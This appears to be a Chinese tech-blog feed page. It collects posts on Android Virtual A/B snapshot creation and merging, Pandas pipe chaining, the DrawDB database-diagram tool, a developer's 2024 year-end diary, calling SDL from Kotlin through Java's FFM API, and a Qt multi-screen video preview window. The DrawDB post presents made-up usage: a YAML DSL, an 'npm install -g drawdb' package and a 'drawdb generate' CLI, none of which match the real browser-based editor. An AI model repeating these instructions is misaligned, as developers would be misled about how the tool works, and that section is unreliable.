        auto cow_creator_ret = cow_creator->Run();

        LOG(INFO) << "For partition " << target_partition->name()
                  << ", device size = " << cow_creator_ret->snapshot_status.device_size()
                  << ", snapshot size = " << cow_creator_ret->snapshot_status.snapshot_size()
                  << ", cow partition size = "
                  << cow_creator_ret->snapshot_status.cow_partition_size()
                  << ", cow file size = " << cow_creator_ret->snapshot_status.cow_file_size();

        // Store these device sizes to snapshot status file.
        if (!CreateSnapshot(lock, cow_creator, &cow_creator_ret->snapshot_status)) {
            return Return::Error();
        }


        // Create the COW partition. That is, use any remaining free space in super partition before
        // creating the COW images.
        if (cow_creator_ret->snapshot_status.cow_partition_size() > 0) {
            if (!target_metadata->ResizePartition(
                        cow_partition, cow_creator_ret->snapshot_status.cow_partition_size(),
                        cow_creator_ret->cow_partition_usable_regions)) {
                LOG(ERROR) << "Cannot create COW partition on metadata with size "
                           << cow_creator_ret->snapshot_status.cow_partition_size();
                return Return::Error();
            }
            // Only the in-memory target_metadata is modified; nothing to clean up if there is an
            // error in the future.
        }
    }

    LOG(INFO) << "Allocating CoW images.";

    for (auto&& [name, snapshot_status] : *all_snapshot_status) {
        // Create the backing COW image if necessary.
        if (snapshot_status.cow_file_size() > 0) {
            auto ret = CreateCowImage(lock, name);
            if (!ret.is_ok()) return AddRequiredSpace(ret, *all_snapshot_status);
        }

        LOG(INFO) << "Successfully created snapshot for " << name;
    }
}

期中CreateUpdateSnapshotsInternal函数里先执行cow_creator->Run()使用current_metadatatarget_metadata里的分区表信息计算出super上的空闲空间。

system/core/fs_mgr/libsnapshot/partition_cow_creator.cpp

std::optional<PartitionCowCreator::Return> PartitionCowCreator::Run() {
    // Being the COW partition virtual, its size doesn't affect the storage
    // memory that will be occupied by the target.
    // The actual storage space is affected by the COW file, whose size depends
    // on the chunks that diverged between |current| and |target|.
    // If the |target| partition is bigger than |current|, the data that is
    // modified outside of |current| can be written directly to |current|.
    // This because the data that will be written outside of |current| would
    // not invalidate any useful information of |current|, thus:
    // - if the snapshot is accepted for merge, this data would be already at
    // the right place and should not be copied;
    // - in the unfortunate case of the snapshot to be discarded, the regions
    // modified by this data can be set as free regions and reused.
    // Compute regions that are free in both current and target metadata. These are the regions
    // we can use for COW partition.
    auto target_free_regions = target_metadata->GetFreeRegions();

    auto current_free_regions = current_metadata->GetFreeRegions();

    auto free_regions = Interval::Intersect(target_free_regions, current_free_regions);
    uint64_t free_region_length = 0;
    for (const auto& interval : free_regions) {
        free_region_length += interval.length();
    }
    free_region_length *= kSectorSize;

    LOG(INFO) << "Remaining free space for COW: " << free_region_length << " bytes";
}

这里需要注意的是,GetFreeRegions在计算空闲extent时,地址对齐用的是524288,而不是super分区里block_devices表里的alignment = 0x00100000。为啥?因为从kernel去获取alignment了,代码如下:

system/core/fs_mgr/liblp/builder.cpp

std::unique_ptr<MetadataBuilder> MetadataBuilder::New(const LpMetadata& metadata,
                                                      const IPartitionOpener* opener) {
            BlockDeviceInfo device_info;
            if (opener->GetInfo(partition_name, &device_info)) {
                builder->UpdateBlockDeviceInfo(i, device_info);
            }
}

bool MetadataBuilder::UpdateBlockDeviceInfo(size_t index, const BlockDeviceInfo& device_info) {
    LpMetadataBlockDevice& block_device = block_devices_[index];
    // The kernel does not guarantee these values are present, so we only
    // replace existing values if the new values are non-zero.
    if (device_info.alignment) {
        block_device.alignment = device_info.alignment;
    }
}

system/core/fs_mgr/liblp/partition_opener.cpp

bool PartitionOpener::GetInfo(const std::string& partition_name, BlockDeviceInfo* info) const {
    std::string path = GetPartitionAbsolutePath(partition_name);
    return GetBlockDeviceInfo(path, info);
}

bool GetBlockDeviceInfo(const std::string& block_device, BlockDeviceInfo* device_info) {
#if defined(__linux__)
    unique_fd fd = GetControlFileOrOpen(block_device.c_str(), O_RDONLY);
    ioctl(fd, BLKIOMIN, &device_info->alignment)
}

current_metadatatarget_metadata里的分区表如下, 图中地址是以sector为单位:

current_target_metadata.jpg

经过cow_creator->Runtarget_metadata->ResizePartition后, 在super上分配了COW分区的空间如下:

COW分布图.jpg

创建好的COW设备会map到dm-user, 如:

Mapped COW device for system_b at /dev/block/dm-12

但在升级过程中这些COW设备会被多次unmap和重新map

使用快照映射分区

OTA升级流程来到了往分区写升级数据的步骤,启用了Virtual A/B Compression功能的分区会走以下代码:

VABCPartitionWriter::Init()
  DynamicPartitionControlAndroid::OpenCowWriter()
    SnapshotManager::OpenSnapshotWriter()
      //unmap 快照分区
      UnmapPartitionWithSnapshot()
      MapPartitionWithSnapshot(SnapshotContext::Update)
      //创建base设备: odm_b-base
      CreateLogicalPartition()
      //创建cow设备: odm_b-cow
      MapCowDevices()
      if (context == SnapshotContext::Update && live_snapshot_status->compression_enabled()) {
        // 还没到启动snapuserd的时候,在这里退出
        // Stop here, we can't run dm-user yet, the COW isn't built.
        LOG(ERROR) << "Stop here, we can't run dm-user yet, the COW isn't built.";
        created_devices.Release();
        return true;
      }

以odm_b为例,MapPartitionWithSnapshot()后,odm_b-base, odm_b-cow 2个分区对应的sector地址如下:

odm_b-base:  0x37B000 --- 0x3EFCC0
odm_b-cow:   0x6FF400 --- 0x766D88

odm_b-base,odm_b-cow分配的空间与之前的保持不变

odm_b-base, odm_b-cow的块设备路径分别如下:

odm_b-base: /dev/block/dm-12
odm_b-cow:  /dev/block/dm-13

vabc_partition_writer中, 会往/dev/block/dm-13也就是COW设备写压缩过的升级数据,就因为在vabc_partition_writer中对数据做了压缩处理,所以减慢了OTA升级速度,制作OTA包时加入--disable_vabc参数可以不对升级数据做压缩,加过升级速度。 耗时的DownloadAction执行完后,接着就是做hash校验的FilesystemVerifierAction了,在FilesystemVerifierAction又对快照分区做了多次的unmap和map操作:

FilesystemVerifierAction:
  PerformAction()
    StartPartitionHashing()
      InitializeFdVABC()
        dynamic_control_->UnmapAllPartitions();
        dynamic_control_->MapAllPartitions();

DynamicPartitionControlAndroid:
  MapAllPartitions()
    snapshot_->MapAllSnapshots()

SnapshotManager:
  MapAllSnapshots()
    UnmapPartitionWithSnapshot()
    MapPartitionWithSnapshot(SnapshotContext::Mount)
      //创建base设备: odm_b-base
      CreateLogicalPartition()
      //创建cow设备: odm_b-cow
      MapCowDevices()
      //创建source设备: odm_b-src
      MapSourceDevice()
      //将odm_b-base, odm_b-cow, odm_b-src三个设备传给snapuserd
      //以odm_b为名,odm_b-base的device size为参数创建dm-user设备
      MapDmUserCow(lock, name, cow_path, source_device_path, base_path, remaining_time,
            &new_cow_device))
        // Snapuserd还没启动的话,就启动Snapuserd
        EnsureSnapuserdConnected()
        // 往Snapuserd发送'init'命令,创建dm-user '路由表', 对odm_b的I/O操作,将通过Snapuserd路由到odm_b-base, odm_b-cow, odm_b-src
        snapuserd_client_->InitDmUserCow
        // 往Snapuserd发送'start'命令
        snapuserd_client_->AttachDmUser

odm_b为例,MapPartitionWithSnapshot后,odm_b-base, odm_b-cow, odm_b-src 3个分区对应的sector地址如下:

odm_b-base:  0x37B000 --- 0x3EFCC0
odm_b-cow:   0x6FF400 --- 0x766D88
odm_b-src:   0x37B000 --- 0x3EFCC0

odm_b-baseodm_b-cow分配的空间与之前的保持不变, odm_b-src = odm_b-base

odm_b-base, odm_b-cow, dm_b-src, odm_b的块设备路径分别如下:

odm_b-base: /dev/block/dm-47
odm_b-cow:  /dev/block/dm-48
odm_b-src:  /dev/block/dm-49
odm_b:      /dev/block/dm-50

FilesystemVerifierAction中校验odm的参数如下:

update_engine: Partition: odm
update_engine:   source_size: 0
update_engine:   source_path: 
update_engine:   source_hash: 
update_engine:   target_size: 244940800
update_engine:   target_path: 
update_engine:   target_hash: 41DAEED1141E64AB01324FFAD46C5266A35EFCC256C24C0EA64E2EF3CF643202
update_engine:   run_postinstall: false
update_engine:   postinstall_path: 
update_engine:   readonly_target_path: /dev/block/mapper/odm_b

其中,readonly_target_path: /dev/block/mapper/odm_b的真实路径就是/dev/block/dm-50:

# ls -l /dev/block/mapper/
lrwxrwxrwx 1 root root 16 2025-01-21 09:10 odm_b -> /dev/block/dm-50

对/dev/block/mapper/odm_b做hash校验就是对/dev/block/dm-50做hash校验。 做hash校验时会产生读取块设备的I/O请求,然后被dm-user转发到snapuserd处理:

snapuserd: odm_b: Daemon: msg->seq: 0
snapuserd: odm_b: Daemon: msg->len: 131072
snapuserd: odm_b: Daemon: msg->sector: 0
snapuserd: odm_b: Daemon: msg->type: 0
snapuserd: odm_b: Daemon: msg->flags: 2048

snapuserd收到的操作请求: msg->type: 0是#define DM_USER_REQ_MAP_READ 0读的意思。

代码在 system/core/fs_mgr/libsnapshot/snapuserd/user-space-merge/snapuserd_dm_user.cpp

bool Worker::RunThread() {
    while (true) {
        if (!ProcessIORequest()) {
            break;
        }
    }
}

bool Worker::ProcessIORequest() {
    struct dm_user_header* header = bufsink_.GetHeaderPtr();
    switch (header->type) {
        case DM_USER_REQ_MAP_READ: {
            if (!DmuserReadRequest()) {
                return false;
            }
            break;
        }
    }
}

bool Worker::DmuserReadRequest() {
    return ReadAlignedSector(header->sector, header->len, true);
}

bool Worker::ReadAlignedSector() {
    if (not_found) {
        // Block not found in map - which means this block was not
        // changed as per the OTA. Just route the I/O to the base
        // device.
        // 直接从Base设备读取
        if (!ReadDataFromBaseDevice(sector, size)) {
    } else {
        // We found the sector in mapping. Check the type of COW OP and
        // process it.
        // 从COW OP获取
        if (!ProcessCowOp(it->second)) {
            SNAP_LOG(ERROR) << "ProcessCowOp failed";
            header->type = DM_USER_RESP_ERROR;
        }
    }
}

快照合并

升级完成后, 新系统的每个动态分区都由两部分组成——老系统的分区(-base)和新旧系统的差分内容(-cow)。系统在升级完成后重启时需要将分区的原始内容(-base)与差分内容(-cow)进行动态的合并,并使用这合并后的内容启动系统 (此时仅仅只是动态的合并并加载到内存中,并没有物理上的合并)。

如果开机失败,那很简单,分区切回去,再次开机时不加载差分内容(-cow),也就是使用老系统开机。

如果开机成功,会在后台默默将差分内容(-cow)物理的合并进老系统的分区(-base)中,形成真正的新系统。

by 丐中丐999 at January 25, 2025 02:51 AM

juejin backend

Pandas高级数据处理:管道操作

一、引言

Pandas 是 Python 中最流行的数据分析库之一,它提供了丰富的功能来处理和分析结构化数据。在实际的数据处理过程中,我们经常需要对数据进行一系列的操作,如过滤、转换、聚合等。为了简化这些操作并提高代码的可读性,Pandas 提供了 pipe 方法,即管道操作。

image.png

二、管道操作的基本概念

管道操作的思想来源于 Unix 系统中的管道命令。通过将多个命令串联起来,可以实现复杂的功能。在 Pandas 中,pipe 方法允许我们将多个数据处理步骤串联在一起,从而避免嵌套调用带来的代码混乱。

1. 简单示例

假设我们有一个包含销售数据的 DataFrame,并且我们希望对其进行一些基本的处理,如筛选出特定类别的产品、计算销售额的平均值等。我们可以使用管道操作来简化这个过程。

import pandas as pd

# 创建一个简单的 DataFrame
data = {
    'Category': ['A', 'B', 'A', 'C', 'B'],
    'Sales': [100, 200, 150, 300, 250]
}
df = pd.DataFrame(data)

# 定义一个函数来筛选特定类别的产品
def filter_category(df, category):
    return df[df['Category'] == category]

# 定义一个函数来计算销售额的平均值
def calculate_mean_sales(df):
    return df['Sales'].mean()

# 使用管道操作
result = (df.pipe(filter_category, 'A')
             .pipe(calculate_mean_sales))

print(result)

在这个例子中,我们首先定义了两个函数 filter_category 和 calculate_mean_sales,然后通过 pipe 方法将它们串联在一起。这样做的好处是代码更加清晰,易于理解。

三、常见问题及解决方案

1. 函数参数传递

在使用管道操作时,有时我们需要传递额外的参数给函数。如果不正确地传递参数,可能会导致报错或结果不符合预期。

常见报错:

TypeError: filter_category() missing 1 required positional argument: 'category'

原因分析:  在调用 pipe 方法时,如果没有正确传递所需的参数,Python 会抛出 TypeError。这是因为 pipe 方法默认只会传递 DataFrame 作为第一个参数,而其他参数需要显式指定。

解决方法:  确保在调用 pipe 方法时正确传递所有必要的参数。例如:

result = df.pipe(filter_category, 'A').pipe(calculate_mean_sales)

2. 返回值类型不匹配

有时候,我们在管道操作中使用的函数返回的并不是 DataFrame,而是其他类型的对象(如标量、列表等)。这会导致后续的管道操作无法继续执行。

常见报错:

AttributeError: 'numpy.float64' object has no attribute 'pipe'

原因分析:  当 calculate_mean_sales 返回的是一个浮点数而不是 DataFrame 时,后续的 pipe 调用会失败,因为浮点数没有 pipe 方法。

解决方法:  如果某个函数返回的不是 DataFrame,可以在该函数内部将结果包装成 DataFrame 或者直接在管道操作中终止。例如:

def calculate_mean_sales(df):
    mean_sales = df['Sales'].mean()
    return pd.DataFrame({'Mean Sales': [mean_sales]})

3. 复杂的管道操作

随着数据处理逻辑的复杂化,管道操作可能会变得难以维护。特别是在处理多个条件分支或循环时,管道操作的优势可能会被削弱。

常见问题:

  • 管道过长,难以阅读和调试。
  • 需要频繁地在管道中插入中间变量来保存临时结果。

解决方法:

  • 将复杂的逻辑拆分为多个小函数,每个函数只负责一个特定的任务。
  • 使用注释来解释每一步的操作,帮助读者理解代码的意图。
  • 如果确实需要频繁地保存中间结果,可以考虑使用普通的方法链而不是管道操作。

四、总结

管道操作是 Pandas 中一种非常强大的工具,它可以显著提高代码的可读性和可维护性。然而,在使用管道操作时,我们也需要注意一些常见的问题,如函数参数传递、返回值类型不匹配以及复杂的逻辑处理。通过合理的设计和良好的编程习惯,我们可以充分利用管道操作的优势,编写出高效且优雅的数据处理代码。

by Jimaks at January 25, 2025 02:50 AM

DrawDB:超好用的,免费数据库设计工具

DrawDB:超好用的,免费数据库设计工具

引言

在软件开发过程中,数据库设计是一个至关重要的环节。

无论是关系型数据库还是非关系型数据库,良好的数据库设计都能显著提升系统的性能和可维护性。

然而,数据库设计往往伴随着复杂的表结构和关系,如何清晰地表达这些设计成为了开发者们的一大挑战。

DrawDB 应运而生,它是一个轻量级的数据库绘图工具,旨在帮助开发者通过简单的代码生成数据库图表。

本文将深入探讨 DrawDB 的功能、使用场景以及其独特的优势。

DrawDB 是什么?

DrawDB 是一个开源的数据库绘图工具,允许开发者通过编写简单的代码来生成数据库的 ER 图(实体关系图)。

它的核心思想是通过代码来描述数据库结构,而不是依赖传统的图形化界面。

这种方式不仅提高了效率,还使得数据库设计更加可维护和可版本化。

DrawDB 的 GitHub 仓库地址为:github.com/drawdb-io/d…

通过这个工具,开发者可以轻松地将数据库设计文档化,并与团队成员共享。

目前已有23.7k star

图片

官网:www.drawdb.app/

图片

简单试例:

图片

为什么选择 DrawDB?

1. 代码驱动的数据库设计

传统的数据库设计工具通常依赖于图形化界面,开发者需要通过拖拽和点击来创建表和关系。

这种方式虽然直观,但在处理复杂数据库时往往显得笨拙。

DrawDB 通过代码驱动的方式,允许开发者通过编写简单的 DSL(领域特定语言)来描述数据库结构。

这种方式不仅更加灵活,还能与版本控制系统(如 Git)无缝集成,方便团队协作。

2. 轻量级且易于集成

DrawDB 的设计理念是轻量级和易于集成。

它不需要复杂的安装过程,开发者只需通过简单的命令行工具即可生成数据库图表。

此外,DrawDB 支持多种输出格式(如 PNG、SVG 等),方便嵌入到文档或演示文稿中。

3. 高度可定制化

DrawDB 提供了丰富的配置选项,允许开发者根据需求自定义生成的图表样式。

无论是表名、字段名还是关系线,都可以通过简单的配置进行调整。

这种高度可定制化的特性使得 DrawDB 能够适应各种不同的项目需求。

4. 支持多种数据库驱动

图片

如何使用 DrawDB?

1. 安装 DrawDB

DrawDB 的安装非常简单。首先,确保你的系统已经安装了 Node.js,然后通过 npm 安装 DrawDB:

npm install -g drawdb

2. 编写数据库定义文件

DrawDB 使用一种简单的 DSL 来描述数据库结构。以下是一个简单的例子:

tables:
  - name: users
    columns:
      - name: id
        type: int
        primaryKey: true
      - name: username
        type: varchar(255)
      - name: email
        type: varchar(255)
  - name: posts
    columns:
      - name: id
        type: int
        primaryKey: true
      - name: user_id
        type: int
        foreignKey:
          table: users
          column: id
      - name: content
        type: text

在这个例子中,我们定义了两个表:usersposts

users 表包含 idusernameemail 三个字段,而 posts 表包含 iduser_idcontent 三个字段。

user_id 字段是一个外键,指向 users 表的 id 字段。

3. 生成数据库图表

编写完数据库定义文件后,可以通过以下命令生成图表:

drawdb generate -i database.yml -o diagram.png

这个命令会读取 database.yml 文件,并生成一个名为 diagram.png 的数据库图表。

DrawDB 的独特优势

1. 与版本控制系统无缝集成

由于 DrawDB 使用代码来描述数据库结构,因此可以轻松地与版本控制系统(如 Git)集成。

开发者可以将数据库定义文件与代码库一起提交,方便团队成员查看和修改数据库设计。

2. 支持多种输出格式

DrawDB 支持多种输出格式,包括 PNG、SVG 等。

这使得生成的图表可以轻松嵌入到文档、演示文稿或网页中,满足不同场景的需求。

3. 高度可扩展

DrawDB 的设计非常灵活,开发者可以通过编写插件来扩展其功能。

例如,可以编写插件来支持更多的数据库类型或自定义图表样式。

个人见解

作为一个开发者,我认为 DrawDB 的最大优势在于其代码驱动的设计理念。

传统的图形化工具虽然直观,但在处理复杂数据库时往往显得力不从心。

DrawDB 通过代码来描述数据库结构,不仅提高了效率,还使得数据库设计更加可维护和可版本化。

此外,DrawDB 的轻量级和高度可定制化特性也让我印象深刻。

它不需要复杂的安装过程,开发者只需通过简单的命令行工具即可生成数据库图表。

这种简洁的设计理念使得 DrawDB 非常适合快速迭代的开发环境。

结论

DrawDB 是一个非常有潜力的数据库绘图工具,特别适合那些希望通过代码来描述数据库结构的开发者。

它的轻量级、高度可定制化以及与版本控制系统的无缝集成,使得它在数据库设计领域具有独特的优势。

如果你正在寻找一个简单而强大的数据库绘图工具,DrawDB 绝对值得一试。

– 欢迎点赞、关注、转发、收藏【我码玄黄】,各大平台同名。

by 我码玄黄 at January 25, 2025 02:24 AM

juejin career

【2024 年终总结】北漂四年,奔三,直面天命,和鸿洋成为跑步搭子

前言

很高兴见到你 👋 我是 Flywith24~

大家过年好啊~

年更博主又更新了

这是我第五年写年终总结:历年总结


2024 年依旧有趣:

🧑🏻‍💻 这一年离开小红书入职懂车帝

🏃🏻 这一年骑车时间变少了,开始跑步,和鸿洋成为跑步搭子

🐒 这一年三周目《黑悟空》,解锁白金成就,读西游记原著

✈️ 这一年两去广州,顺德吃早茶;重庆轻轨穿楼;成都会老友,看熊猫,骑绿道

换工作

年中的时候离开了小红书,加入了懂车帝,和鸿洋成了同事

与鸿洋的缘分要追溯到大学时期

2020 的年终总结 曾记录了自己学习 Android 的经历

3.png

大一暑假时在慕课网上看到 hyman 的 ViewPager+Tab特效实现微信主界面

后来得知 hyman 便是鸿洋

2020 年鸿洋关注了我的掘金账号,当时直呼「人生巅峰」

IMG_4010.jpg

2024 年,我和鸿洋成为了同事,缘分就是如此妙不可言~

旅行

今年解锁 5 座城市

3 月份去广州找同事玩,对顺德的美食念念不忘

7 月趁着离职间隙,分别去了广州,重庆,成都。找老友们聚了一波

IMG_4413.jpg 截屏 2025-01-24 下午11.42.35.jpeg

IMG_1391.HEIC

跑步

由于工作时间改变,和「好大哥」一起骑车的时间少了

从 8 月开始开始和同事们一起跑步,和鸿洋成为了跑步搭子。每周一三五固定 5 公里

永远相信那句话:「菜就多练,练就有效」,希望 2025 年能跑完半马

话说再练练游泳是不是就能参加铁人三项了?🤪

重游西游路

8 月,《黑神话:悟空》发布,至此我的 PS5 再也没有打开过原神 🤣

我若不拿出这张图,世人怎知我白金成就,三周目完?😎

IMG_4504.JPG 在玩这款游戏的同时,还听了不少黑神话相关的播客,认真读了《西游记》原著

不看不知道,原来原著如此诙谐幽默,强烈建议小伙伴们抽空看看

在此也推荐马伯庸先生的《太白金星有点烦》,以现代视角解构西游,甚是有趣

又双叒搬家了

这是我来北京年租的第六个(不用数了,标题里 6 个又😂)房子

常租房的朋友们都知道,租房的门道是真得多:

  1. 房东直租 ≠ 没有中介费

  2. 无中介费 ≠ 无服务费

  3. 房子家具越新,甲醛含量越高(所谓「串串房」)

  4. 隔断会被举报强拆

当你在小红书上刷到「房东直租xxx」「无中介费xxx」的标题的笔记

恭喜你,这大概率是个中介

北京租房中介一般两种模式:

  1. 收一次性中介费,之后啥也不管,续租和房东单聊(大多数小中介是这个模式)。中介费,水电是租户承担,物业费和取暖费房东承担
  2. 业主托管到平台,平台不收中介费,按月收服务费,租多久收多久(自如,贝壳省心租是这个模式)

又是为房东打工的一年 🤣

希望各位租房时擦亮眼睛,莫要被骗

折腾客厅

这次租的房子有个小客厅,老婆说这块空间让我自由发挥

洞洞板得有吧

IMG_4292.HEIC

升降桌得有吧(桌面和桌腿分开买会便宜点)

IMG_4315.HEIC

影音室 NAS 得有吧

用国补搞了个 M4 的丐版 Mac mini,外接 2T 硬盘

如果只用它做 NAS 有点暴殄天物了,它还接管了家里的网络负责旁路由,家用服务器,其他的玩法还在探索

IMG_4501.HEIC

看成品(还是得给老婆留个桌子啊 🤣) IMG_4500.HEIC

IMG_4327.HEIC

影视

今年看了不少美剧和韩剧

  • 《老友记》看到第九季
  • 《黑镜》看到第六季
  • 《鱿鱼游戏》看到第二季(25 年出第三季,但感觉要烂尾)
  • 《瑞克和莫蒂》看了一半

以上都不如国产第一神剧《大明王朝 1566》,这是我今年最喜欢的剧集(推荐看一集原剧,再搭配一集一条闲木鱼的解说)

院线电影我最喜欢《从21世纪安全撤离》,导演的另一部作品《李献计历险记》是我中学时期就很喜欢的片子

喜欢的原因可能是我比较喜欢从身上悄然流逝的少年感吧 😣

IMG_4498.jpg

奔三奔三

2025 年生日过后就三十岁了

随着年龄的增长,我发现自己快乐的阈值变高了

但我还是热衷在生活中找点乐子

这一年学到了一句话:「工作上精益求精,生活上知足常乐」

有些生活中的事就不和自己较劲了,降低预期,快乐就更简单了

希望新的一年我这个「而立老登」能多保留一些少年感吧~

祝各位春节快乐~🎉

关于我

人总是喜欢做能够获得正反馈(成就感)的事情,如果感觉本文内容对你有帮助的话,麻烦点亮一下👍,这对我很重要哦~

我是 Flywith24人只有通过和别人的讨论,才能知道我们自己的经验是否是真实的,加我微信交流,让我们共同进步。

关注公众号,点击底部 联系我 -> 知识星球 加入免费的知识星球

by Flywith24 at January 25, 2025 02:16 AM

juejin backend

Java使用FFM API调用SDL

首发于Enaium的个人博客


首先我们需要创建一个Gradle项目,之后设置项目的JDK版本,设置为22及以上版本。

plugins {
    kotlin("jvm") version "2.1.0"
}

group = "cn.enaium"
version = "1.0-SNAPSHOT"

repositories {
    mavenCentral()
}

dependencies {
    testImplementation(kotlin("test"))
}

tasks.test {
    useJUnitPlatform()
}
kotlin {
    jvmToolchain(23)
}

接着我们在当前目录初始化git仓库,之后需要添加一个子模块。、

git init
git submodule add git@github.com:libsdl-org/SDL.git SDL

之后编写生成接口的脚本,在这之前你必须安装CMakejextract到环境变量中。

$sdl_path = "SDL"
mkdir "$sdl_path/build"; cmake -DCMAKE_BUILD_TYPE=Release "$sdl_path" -B "$sdl_path/build"; cmake --build "$sdl_path/build" --config Release --parallel
jextract --include-dir "$sdl_path/include" --dump-includes "$sdl_path/build/includes.txt" "$sdl_path/include/SDL3/SDL.h"
jextract --include-dir "$sdl_path/include" --output src/main/java --target-package org.libsdl --library SDL3 --use-system-load-library "@$sdl_path/build/includes.txt" "$sdl_path/include/SDL3/SDL.h"

首先是使用CMake编译SDL,之后使用jextract生成Java接口,之后运行脚本,这样就会在src/main/java生成SDL3的接口。

接着我们回到build.gradle.kts,添加application插件,之后将编译好的路径添加到启动参数中。

plugins {
    application
}

application {
    mainClass = "MainKt"
    applicationDefaultJvmArgs = listOf("-Djava.library.path=SDL/build/Release", "--enable-native-access=ALL-UNNAMED")
}

之后就可以调用SDL的接口了。

import org.libsdl.*
import org.libsdl.SDL_h_1.*
import java.lang.foreign.Arena

/**
 * @author Enaium
 */
fun main() {
    Arena.ofConfined().use {
        val init = SDL_h_2.SDL_Init(SDL_INIT_VIDEO() and SDL_INIT_EVENTS())

        if (!init) {
            println("SDL_Init Error: ${SDL_h_3.SDL_GetError()}")
            return
        }

        val windowPtr = it.allocate(C_POINTER)
        val rendererPtr = it.allocate(C_POINTER)

        SDL_CreateWindowAndRenderer(it.allocateFrom("Hello World"), 640, 480, 0, windowPtr, rendererPtr)

        val window = windowPtr.get(C_POINTER, 0)
        val renderer = rendererPtr.get(C_POINTER, 0)

        val rect = SDL_FRect.allocate(it)
        SDL_FRect.x(rect, 100f)
        SDL_FRect.y(rect, 100f)
        SDL_FRect.w(rect, 440f)
        SDL_FRect.h(rect, 280f)


        val event = SDL_Event.allocate(it)
        var quit = false
        while (!quit) {
            while (SDL_PollEvent(event)) {
                when (SDL_Event.type(event)) {
                    SDL_EVENT_QUIT() -> {
                        quit = true
                    }

                    SDL_EVENT_KEY_DOWN() -> {
                        when (SDL_KeyboardEvent.key(SDL_Event.key(event))) {
                            SDLK_UP() -> {
                                SDL_FRect.y(rect, SDL_FRect.y(rect) - 5)
                            }

                            SDLK_DOWN() -> {
                                SDL_FRect.y(rect, SDL_FRect.y(rect) + 5)
                            }

                            SDLK_LEFT() -> {
                                SDL_FRect.x(rect, SDL_FRect.x(rect) - 5)
                            }

                            SDLK_RIGHT() -> {
                                SDL_FRect.x(rect, SDL_FRect.x(rect) + 5)
                            }
                        }
                    }
                }
            }

            SDL_h_2.SDL_SetRenderDrawColor(renderer, 33.toByte(), 33.toByte(), 33.toByte(), 255.toByte())
            SDL_h_2.SDL_RenderClear(renderer)

            SDL_h_2.SDL_SetRenderDrawColor(renderer, 0.toByte(), 0.toByte(), 255.toByte(), 255.toByte())

            SDL_h_2.SDL_RenderFillRect(renderer, rect)

            SDL_h_2.SDL_RenderPresent(renderer)
        }

        SDL_h_2.SDL_DestroyRenderer(renderer)
        SDL_h_3.SDL_DestroyWindow(window)
    }
}

首先这里创建了一个窗口和渲染器,还渲染了一个矩形。之后做了事件处理,关闭的时候跳出循环,之后销毁窗口和渲染器。按下键盘上下左右键可以移动矩形。

之后调用./gradlew run就可以运行程序了。

by Enaium at January 25, 2025 02:11 AM

Qt监控系统辅屏预览/可以同时打开4个屏幕预览/支持5x64通道预览/onvif和rtsp接入/性能好

一、前言说明

在监控系统中,一般主界面肯定带了多个通道比如16/64通道的画面预览,随着电脑性能的增强和多屏幕的发展,再加上现在监控摄像头数量的增加,越来越多的用户希望在不同的屏幕预览不同的实时画面,一个办法是打开多个软件实例,拖动到不同的屏幕,这个办法不可取,最佳的办法是,直接在现有软件基础上,增加一个辅屏预览的功能,单击一次就打开一个带64通道画面预览的窗体,拖动到不同的屏幕上,然后提供一个设备树,用户自己点击需要预览的画面,这样可以在现有基础上完美实现用户的需求。

之前已经实现的两个功能,为这个辅屏预览的功能打下了坚实的基础,一个是通道布局管理类,只需要把new出来的64个videowidget控件放入其中即可,直接复用。一个是设备树列表的生成,完全独立的静态函数,传入treewidget控件即可,而且是多层级分组的设备树,和主界面的完全一样,所以要实现辅屏预览的功能,只需要增加几十行代码就完整,非常的漂亮。

二、效果图

在这里插入图片描述

三、相关代码

#include "frmvideoscreen.h"
#include "ui_frmvideoscreen.h"
#include "qthelper.h"
#include "videobox.h"
#include "videowidgetx.h"
#include "deviceutil.h"
#include "devicetree.h"
#include "deviceicon.h"

int frmVideoScreen::count = 0;
QStringList frmVideoScreen::indexs = QString("0|1|2|3").split("|");
frmVideoScreen::frmVideoScreen(QWidget *parent) : QWidget(parent), ui(new Ui::frmVideoScreen)
{
    ui->setupUi(this);
    this->initForm();
    this->initIcon();
    this->initVideo();
    QtHelper::setFormInCenter(this);
}

frmVideoScreen::~frmVideoScreen()
{
    delete ui;
}

void frmVideoScreen::closeEvent(QCloseEvent *)
{
    //计数减少
    count--;
    //更新索引
    int index = this->property("index").toInt();
    indexs[index] = QString::number(index);

    //关闭所有视频并释放对象
    foreach (VideoWidget *videoWidget, videoWidgets) {
        videoWidget->setParent(NULL);
        videoWidget->stop();
    }
}

bool frmVideoScreen::eventFilter(QObject *watched, QEvent *event)
{
    if (event->type() == QEvent::MouseButtonDblClick) {
        //双击放大再次双击还原
        VideoWidget *videoWidget = (VideoWidget *) watched;
        if (!isMax) {
            videoBox->hide_all();
            ui->gridLayout->addWidget(videoWidget, 0, 0);
            videoWidget->setVisible(true);
        } else {
            videoBox->show_all();
        }

        isMax = !isMax;
        videoWidget->setFocus();
    } else if (event->type() == QEvent::MouseButtonPress) {
        //设置当前按下的视频控件/弹出右键菜单
        videoSelect = (VideoWidget *)watched;
        if (qApp->mouseButtons() == Qt::RightButton) {
            videoMenu->exec(QCursor::pos());
        }
    }

    return QWidget::eventFilter(watched, event);
}

void frmVideoScreen::initForm()
{
    //计数增加
    count++;
    //取出索引
    int index;
    foreach (QString name, indexs) {
        if (!name.isEmpty()) {
            //用掉一个索引就置空
            index = name.toInt();
            indexs[index] = "";
            break;
        }
    }

    ui->frame->setFixedWidth(AppData::RightWidth);
    this->setAttribute(Qt::WA_DeleteOnClose);
    this->setProperty("index", index);
    this->setWindowTitle(QString("辅屏预览 %1").arg(index + 1));
    connect(AppEvent::Instance(), SIGNAL(changeStyle()), this, SLOT(initIcon()));

    DeviceTree::initTree(ui->treeWidget);
    DeviceTree::initTreeParent(ui->treeWidget);
    DeviceTree::initTreeChild(ui->treeWidget);
    DeviceTree::hideTreeChild(ui->treeWidget);
    DeviceTree::initExpandItem(ui->treeWidget);
}

void frmVideoScreen::initIcon()
{
    DeviceIcon::initTreeIcon(ui->treeWidget, false);
}

void frmVideoScreen::initVideo()
{
    videoSelect = NULL;
    videoWidgets.clear();

    //实例化视频控件
    QWidgetList widgets;
    for (int i = 0; i < AppConfig::VideoCount; ++i) {
        VideoWidget *videoWidget = new VideoWidget;
        connect(videoWidget, SIGNAL(sig_fileDrag(QString)), this, SLOT(fileDrag(QString)));
        DeviceUtil::initVideoWidget2(videoWidget);
        videoWidget->installEventFilter(this);
        videoWidget->hideButton();
        videoWidget->setBgText(QString("通道 %1").arg(i + 1, 2, 10, QChar('0')));
        widgets << videoWidget;
        videoWidgets << videoWidget;
    }

